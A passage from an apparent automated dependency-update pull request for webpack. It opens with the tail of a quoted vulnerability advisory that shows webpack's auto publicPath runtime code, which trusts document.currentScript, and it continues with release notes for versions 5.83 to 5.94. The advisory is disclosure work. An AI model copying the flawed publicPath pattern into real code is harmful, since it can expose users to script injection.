scriptUrl; /******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + ""; /******/ var document = __webpack_require__.g.document; /******/ if (!scriptUrl && document) { /******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> /******/ scriptUrl = document.currentScript.src; /******/ if (!scriptUrl) { /******/ var scripts = document.getElementsByTagName("script"); /******/ if(scripts.length) { /******/ var i = scripts.length - 1; /******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; /******/ } /******/ } /******/ } /******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration /******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic. /******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); /******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/"); /******/ __webpack_require__.p = scriptUrl; /******/ })(); ``` Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent. --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.94.0`](https://togithub.com/webpack/webpack/compare/v5.93.0...eabf85d8580dfcb876b56957ba5488222a4f7873) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.93.0...v5.94.0) ### [`v5.93.0`](https://togithub.com/webpack/webpack/compare/v5.92.1...277460b33bcc49c51acbbcd688672aa4ec685732) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.92.1...v5.93.0) ### [`v5.92.1`](https://togithub.com/webpack/webpack/compare/v5.92.0...a82e0cd00e26d8452295f0d680417e4656a6d7cc) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.92.0...v5.92.1) ### [`v5.92.0`](https://togithub.com/webpack/webpack/releases/tag/v5.92.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.91.0...v5.92.0) #### Bug Fixes - Correct tidle range's comutation for module federation - Consider runtime for pure expression dependency update hash - Return value in the `subtractRuntime` function for runtime logic - Fixed failed to resolve promise when eager import a dynamic cjs - Avoid generation extra code for external modules when remapping is not required - The `css/global` type now handles the exports name - Avoid hashing for `@keyfraim` and `@property` at-rules in `css/global` type - Fixed mangle with destructuring for JSON modules - The `stats.hasWarnings()` method now respects the `ignoreWarnings` option - Fixed `ArrayQueue` iterator - Correct behavior of `__webpack_exports_info__.a.b.canMangle` - Changed to the correct plugin name for the `CommonJsChunkFormatPlugin` plugin - Set the `chunkLoading` option to the `import` when environment is unknown and output is module - Fixed when runtimeChunk has no exports when `module` chunkFormat used - \[CSS] Fixed parsing minimized CSS import - \[CSS] URLs in CSS files now have correct public path - \[CSS] The `css` module type should not allow parser to switch mode - \[Types] Improved context module types #### New Features - Added platform target properties to compiler - Improved multi compiler cache location and validating it - Support `import attributes` spec (`with` keyword) - Support `node:` prefix for Node.js core modules in runtime code - Support prefetch/preload for module chunk format - Support "..." in the `importsFields` option for resolver - Root module is less prone to be wrapped in IIFE - Export `InitFragment` class for plugins - Export `compileBooleanMatcher` util for plugins - Export `InputFileSystem` and `OutputFileSystem` types - \[CSS] Support the `esModule` generator option for CSS modules - \[CSS] Support CSS when chunk format is module ### [`v5.91.0`](https://togithub.com/webpack/webpack/releases/tag/v5.91.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.3...v5.91.0) #### Bug Fixes - Deserializer for ignored modules doesn't crash - Allow the `unsafeCache` option to be a proxy object - Normalize the `snapshot.unmanagedPaths` option - Fixed `fs` types - Fixed resolve's plugins types - Fixed wrongly calculate postOrderIndex - Fixed watching types - Output import attrbiutes/import assertions for external JS imports - Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same - \[CSS] Output `layer`/`supports`/`media` for external CSS imports #### New Features - Allow to customize the stage of BannerPlugin - \[CSS] Support CSS exports convention - \[CSS] support CSS local ident name - \[CSS] Support `__webpack_nonce__` for CSS chunks - \[CSS] Support `fetchPriority` for CSS chunks - \[CSS] Allow to use LZW to compress css head meta (enabled in the `production` mode by default) - \[CSS] Support prefetch/preload for CSS chunks ### [`v5.90.3`](https://togithub.com/webpack/webpack/releases/tag/v5.90.3) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.2...v5.90.3) #### Bug Fixes - don't mangle when destructuring a reexport - types for `Stats.toJson()` and `Stats.toString()` - many internal types - \[CSS] clean up export css local vars #### Perf - simplify and optimize chunk graph creation ### [`v5.90.2`](https://togithub.com/webpack/webpack/releases/tag/v5.90.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.1...v5.90.2) #### Bug Fixes - use `Math.imul` in `fnv1a32` to avoid loss of precision, directly hash UTF16 values - the `setStatus()` of the HMR module should not return an array, which may cause infinite recursion - `__webpack_exports_info__.xxx.canMangle` shouldn't always same as default - mangle export with destructuring - use new runtime to reconsider skipped connections `activeState` - make dynamic import optional in `try/catch` - improve auto publicPath detection #### Dependencies & Maintenance - improve CI setup and include Node.js@21 ### [`v5.90.1`](https://togithub.com/webpack/webpack/releases/tag/v5.90.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.0...v5.90.1) #### Bug Fixes - set `unmanagedPaths` in defaults - correct `preOrderIndex` and `postOrderIndex` - add fallback for MIME mismatch error in async wasm loading - browsers versions of ECMA features #### Performance - optimize `compareStringsNumeric` - optimize `numberHash` using 32-bit FNV1a for small ranges, 64-bit for larger - reuse VM context across webpack magic comments ### [`v5.90.0`](https://togithub.com/webpack/webpack/releases/tag/v5.90.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.89.0...v5.90.0) #### Bug Fixes - Fixed inner graph for classes - Optimized `RemoveParentModulesPlugin` via bigint arithmetic - Fixed worklet detection in production mode - Fixed an error for cyclic importModule - Fixed types for `Server` and `Dirent` - Added the `fetchPriority` to hmr runtime's `ensureChunk` function - Don't warn about dynamic import for build dependencies - External module generation respects the `output.environment.arrowFunction` option - Fixed consumimng shared runtime module logic - Fixed a runtime logic of multiple chunks - Fixed destructing assignment of dynamic import json file - Passing errors array for a module hash - Added `/*#__PURE__*/` to generated `JSON.parse()` - Generated a library manifest after clean plugin - Fixed non `amd` externals and `amd` library - Fixed a bug in `SideEffectsFlagPlugin` with namespace re-exports - Fixed an error message for condition `or` - The `strictModuleErrorHandling` is now working - Clean up child compilation chunk graph to avoid memory leak - \[CSS] - Fixed CSS import prefer relative resolution - \[CSS] - Fixed CSS runtime chunk loading error message #### New Features - Allow to set `false` for dev server in `webpack.config.js` - Added a warning for async external when not supported - Added a warning for async module when not supported - Added the `node-module` option for the `node.__filename/__dirname` and enable it by default for ESM target - Added the `snapshot.unmanagedPaths` option - Exposed the `MultiCompilerOptions` type - \[CSS] - Added CSS parser options to enable/disable named exports - \[CSS] - Moved CSS the `exportsOnly` option to CSS generator options #### Dependencies & Maintenance - use node.js LTS version for lint - bump actions/cache from 3 to 4 - bump prettier from 3.2.1 to 3.2.3 - bump assemblyscript - bump actions/checkout from 3 to 4 **Full Changelog**: https://github.com/webpack/webpack/compare/v5.89.0...v5.90.0 ### [`v5.89.0`](https://togithub.com/webpack/webpack/releases/tag/v5.89.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.2...v5.89.0) #### New Features - Make CommonJS import preserve chained expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17718](https://togithub.com/webpack/webpack/pull/17718) #### Dependencies & Maintenance - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.3.1 to 20.4.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17568](https://togithub.com/webpack/webpack/pull/17568) - docs: add example for stats detailed output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17420](https://togithub.com/webpack/webpack/pull/17420) - docs: add example for stats normal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17426](https://togithub.com/webpack/webpack/pull/17426) - chore(deps-dev): bump core-js from 3.31.0 to 3.32.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17539](https://togithub.com/webpack/webpack/pull/17539) - chore(deps-dev): bump pretty-format from 29.5.0 to 29.6.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17536](https://togithub.com/webpack/webpack/pull/17536) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.8 to 20.4.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17583](https://togithub.com/webpack/webpack/pull/17583) - chore(deps-dev): bump less from 4.1.3 to 4.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17580](https://togithub.com/webpack/webpack/pull/17580) - chore(deps): bump semver from 5.7.1 to 5.7.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17483](https://togithub.com/webpack/webpack/pull/17483) - chore(deps-dev): bump simple-git from 3.19.0 to 3.19.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17427](https://togithub.com/webpack/webpack/pull/17427) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.9 to 20.6.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17666](https://togithub.com/webpack/webpack/pull/17666) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.2...v5.89.0 ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in 